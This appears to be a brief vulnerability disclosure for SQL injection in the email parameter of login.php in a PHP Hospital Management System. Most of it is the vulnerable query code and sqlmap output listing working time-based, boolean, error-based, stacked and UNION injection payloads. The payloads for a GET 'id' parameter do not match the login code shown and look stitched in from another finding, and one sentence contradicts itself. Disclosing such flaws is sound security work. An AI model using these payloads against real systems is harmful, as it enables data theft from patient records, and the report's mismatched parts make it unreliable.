

SQL injection vulnerability exists in email parameter of login.php file of Hospital Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
9      $email = $_POST['email'];
10     $password = $_POST['password'];
11
12     $select = "SELECT * FROM `registration` WHERE email='$email' AND password='$password'";
13
```

```
sqlmap identified the following injection point(s) with a total of 342 HTTP(s) requests:
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Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: add=0email=testing@example.com' AND (SELECT 6543 FROM (SELECT(SLEEP(5)))ZTng) AND 'mled'='mled0password=u
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```

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Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=1 AND 9242=(SELECT (CASE WHEN (9242=9242) THEN 9242 ELSE (SELECT 1439 UNION SELECT 2867) END))-- -

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)

Payload: id=1 AND GTID\_SUBSET(CONCAT(0x71786a7671,(SELECT (ELT(6839=6839,1))),0x71786a6271),6839)

Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: id=1;SELECT SLEEP(5)#

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1 AND (SELECT 6627 FROM (SELECT(SLEEP(5)))GHYz)

Type: UNION query

Title: Generic UNION query (NULL) - 2 columns

Payload: id=-8727 UNION ALL SELECT NULL,CONCAT(0x71786a7671,0x694e48677273484162526b636c45677046596e6465636f73694375476565714b6c48634a696d4853,0x71786a6271)

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Source Download:

<https://www.kashipara.com/project/php/12118/hospital-managment-system-php-project-source-code>